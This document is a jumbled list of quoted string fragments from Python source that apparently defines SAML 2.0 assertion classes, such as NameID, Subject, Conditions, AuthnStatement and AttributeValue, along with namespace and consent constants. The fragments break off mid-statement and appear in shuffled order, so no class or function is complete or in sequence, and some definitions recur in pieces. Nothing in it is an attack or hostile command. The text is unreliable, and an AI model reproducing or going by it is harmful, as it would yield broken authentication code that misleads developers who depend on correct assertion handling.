urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\"", "\"\"\" c_tag = 'ActionType' c_namespace = NAMESPACE c_value_type = {'base':", "urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag = 'StatementAbstractType' c_namespace = NAMESPACE c_children", "= {'base': 'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy()", "if xsd_string == '' else [ XSD if xsd_string in", "self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method", "= ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED", "element \"\"\" c_tag = 'AdviceType' c_namespace = NAMESPACE c_children =", "subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\"", "= to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else xsd_type if", "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party is identified on behalf of", "ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition]) c_cardinality['condition']", "qualified name, Kerberos principal name, Entity identifier, Persistent identifier, Transient", "return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag", "element \"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children =", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\":", "AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject", "\"##other\", \"processContents\": \"lax\"} def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None,", "xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis SAML2", "# # A summary of available specifications can be found", "formats. SAML's predefined formats include: Email address, X.509 subject name,", "class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag = 'ActionType' c_namespace", "'DecisionType': DecisionType_, 'Action': Action, 'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_,", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition or [] self.audience_restriction", "c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version'] = ('version', 'string', True) c_attributes['ID']", "to provide name identifiers in a number of different formats.", "'Advice' c_namespace = NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy()", "else xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type',", "'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_,", "self.session_index = session_index self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_,", "= ( 'evidence', Evidence) c_cardinality['evidence'] = {\"min\": 0, \"max\": 1}", "1: raise Exception(\"Cannot be used more than once\") if self.proxy_restriction:", "self.encrypted_key = encrypted_key or [] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string)", "in xsd_string else xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type", "\"An assertion with an AuthnStatement must contain a Subject\") return", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition]) c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction']", "NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return", "\"\"\" c_tag = 'StatementAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a kerberos instance NAMEID_FORMAT_KERBEROS =", "# if we have added children to this node #", "CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is needed. CONSENT_INAPPLICABLE =", "OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag = 'OneTimeUse' c_namespace =", "c_children = AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality", "c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase):", "'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = (", "count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion", "raise ShouldValueError(\"Not an IPv4 or IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name)", "StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = (", "class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag = 'AttributeValue' c_namespace", "more than once\") if self.proxy_restriction: if len(self.proxy_restriction) != 1: raise", "subject(NameID) # the format determines the category the subject is", "urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag = 'OneTimeUseType' c_namespace = NAMESPACE c_children", "c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address:", "= ('base_id', BaseID) c_cardinality['base_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID']", "c_children = AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality", "raise Exception( \"Invalid Response: \" \"Cannot have both <AuthnContextDecl> and", "xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag = 'OneTimeUse'", "AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string,", "('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self, condition=None,", "'to_type': int, 'to_text': _str, }, 'long': { 'type': int, 'to_type':", "c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info']) def", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef']", "EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class", "ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string): return", "DECISION_TYPE_PERMIT = \"Permit\" # the specified action is denied DECISION_TYPE_DENY", "\"\"\" c_tag = 'Statement' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy()", "= SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement',", "= SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality =", "by subject confirmation and must include a security header #", "'AttributeStatement' c_namespace = NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy()", "c_cardinality['authn_statement'] = {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement])", "= StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\":", "c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children = SamlBase.c_children.copy()", "self.audience = audience or [] self.count = count def proxy_restriction_type__from_string(xml_string):", "return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag", "\"\"\" c_tag = 'AssertionURIRef' c_namespace = NAMESPACE c_value_type = {'base':", "{ 'type': int, 'to_type': int, 'to_text': _str, }, 'float': {", "urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag = 'Audience' c_namespace = NAMESPACE c_value_type", "XML based values for SAML attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\")", "urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag = 'Statement' c_namespace = NAMESPACE c_children", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier']", "('namespace', 'anyURI', True) def __init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "'SubjectLocality' c_namespace = NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy()", "saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion', 'AssertionType', 'AdviceType', 'Advice'] class AssertionType_(SamlBase):", "if not self.text and not self.extension_elements: if not self.extension_attributes: raise", "claim to consent is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent", "[] self.encrypted_assertion = encrypted_assertion or [] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_,", "import ShouldValueError from saml2.validate import valid_domain_name import saml2 from saml2", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag = 'AttributeValue' c_namespace = NAMESPACE", "xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag = 'AuthnStatement'", "name identifiers in a number of different formats. SAML's predefined", "xml_string) class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag = 'Attribute'", "action or [] self.evidence = evidence self.resource = resource self.decision", "'AdviceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag = 'AuthnStatementType'", "not extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes:", "extension attributes\" ) if self.extension_attributes[XSI_NIL] != \"true\": raise Exception( \"Attribute", "'to_text': _str, }, 'double': { 'type': float, 'to_type': float, 'to_text':", "= attribute_value or [] self.name = name self.name_format = name_format", "encrypted_id self.subject_confirmation = subject_confirmation or [] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_,", "'AssertionType', 'AdviceType', 'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag", "extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or", "subject itself # by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the", "'to_text': _str, }, 'short': { 'type': int, 'to_type': int, 'to_text':", "xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag = 'OneTimeUseType'", "{ 'type': type(value), 'to_type': lambda x: x, 'to_text': lambda x:", "members from the contents of the XML tree. for child", "tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType", "attributes determine wether consent has been given and under #", "c_attributes['SessionIndex'] = ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False)", "Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string,", "saml2.validate import valid_domain_name import saml2 from saml2 import SamlBase import", "valid_type is not _str: try: value = to_type(value) except (TypeError,", "False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False) c_attributes['Address'] = ('address', 'string',", "no statement MUST contain a subject element if self.attribute_statement or", "saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag =", "subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag:", "= NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order =", "resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string,", "self.authenticating_authority = authenticating_authority or [] def verify(self): if self.authn_context_decl and", "tree): # Fill in the instance members from the contents", "def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element", "decision can be predetermined by arbitrary context # the specified", "'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority,", "saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag =", "AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag: authn_context_decl_ref_from_string, AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string,", "def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = (", "_wrong_type_value(xsd=xsd_type, value=value) text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns", "sp_name_qualifier self.format = format self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string): return", "element \"\"\" c_tag = 'AuthnContextType' c_namespace = NAMESPACE c_children =", "NAMESPACE c_children = AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:]", "updated with errata, and the new version is here: #", "c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase):", "element \"\"\" c_tag = 'SubjectType' c_namespace = NAMESPACE c_children =", "= 'Subject' c_namespace = NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes =", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id']", "\"##other\", \"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None,", "errata, and the new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf #", "self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self): try: return self.extension_attributes[XSI_TYPE] except (KeyError,", "SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag = 'SubjectConfirmationType' c_namespace =", "SamlBase.__setattr__(self, 'text', text) return self def harvest_element_tree(self, tree): # Fill", "whitespace # and expect to not have actual text content", "question arise please query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf #", "XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if", "XML tree. for child in tree: self._convert_element_tree_to_member(child) for attribute, value", "is made to initiate authentication # authenticate the request with", "self.one_time_use: if len(self.one_time_use) != 1: raise Exception(\"Cannot be used more", "= {\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None,", "# uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC", "'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer': Issuer,", "= {\"min\": 0} c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] =", "return saml2.create_class_from_xml_string(NameIDType_, xml_string) class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag", "c_tag = 'EncryptedID' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes", "c_child_order = SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject,", "= NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order =", "xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag = 'AdviceType'", "_str, }, 'long': { 'type': int, 'to_type': int, 'to_text': _str,", "declaring: # - a corresponding python type # - a", "subject=None, conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None,", "\"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] =", "[AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement',", "['', type(None)] if xsd_string is None else ['', ''] if", "or [] self.encrypted_assertion = encrypted_assertion or [] def evidence_type__from_string(xml_string): return", "# when consuming such elements, default to NAME_FORMAT_UNSPECIFIED as NameFormat", "NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a profile outlines", "c_children = AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality", "'ProxyRestriction' c_namespace = NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy()", "AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string,", "as x509 key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as", "c_children = SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality", "urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag = 'EvidenceType' c_namespace = NAMESPACE c_children", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition',", "AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self,", "one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\"", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag = 'EvidenceType' c_namespace = NAMESPACE", "xml soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for", "'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def", "= 'AssertionIDRef' c_namespace = NAMESPACE c_value_type = {'base': 'NCName'} c_children", "= sp_name_qualifier self.format = format self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string):", "_str(x).lower(), }, 'base64Binary': { 'type': _str, 'to_type': _str, 'to_text': (", "if type(value) is not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text = to_text(value)", "version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values for", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string):", "= AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_): \"\"\"The", "class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element \"\"\" c_tag = 'AssertionType' c_namespace", "= {\"min\": 0} c_attributes['Count'] = ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def", "tree.text.strip() if tree.text and self.extension_elements else tree.text ) if text:", "verify(self): if self.address: # dotted-decimal IPv4 or RFC3513 IPv6 address", "= StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action])", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\":", "( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore'] = ('not_before',", "saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag =", "False), ] ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag:", "= SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def verify(self):", "audience or [] self.count = count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_,", "'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion'] = {\"min\": 0}", "based values for SAML attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") #", "consuming such elements, default to NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self,", "= base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation_data =", "0, \"max\": 1} c_attributes['Resource'] = ('resource', 'anyURI', True) c_attributes['Decision'] =", "Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject':", "def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element", "encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\"", "c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse,", "# by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party", "'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None):", "AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action, 'ActionType': ActionType_, 'Evidence':", "from base64 import b64encode from saml2.validate import valid_ipv4, MustValueError from", "\"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has been obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\"", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] =", "urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag = 'AssertionIDRef' c_namespace = NAMESPACE c_value_type", "AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE", "'{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement']", "NAMESPACE c_value_type = {'base': 'anyType'} c_children = SamlBase.c_children.copy() c_attributes =", "ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse':", "= SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string', False) c_attributes['DNSName'] = ('dns_name',", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI',", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value or", "self.authz_decision_statement = authz_decision_statement or [] self.attribute_statement = attribute_statement or []", "Entity identifier, Persistent identifier, Transient identifier.\" \"\"\" c_tag = 'NameID'", "xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag = 'AssertionIDRef'", "xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag = 'AudienceRestrictionType'", "assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, 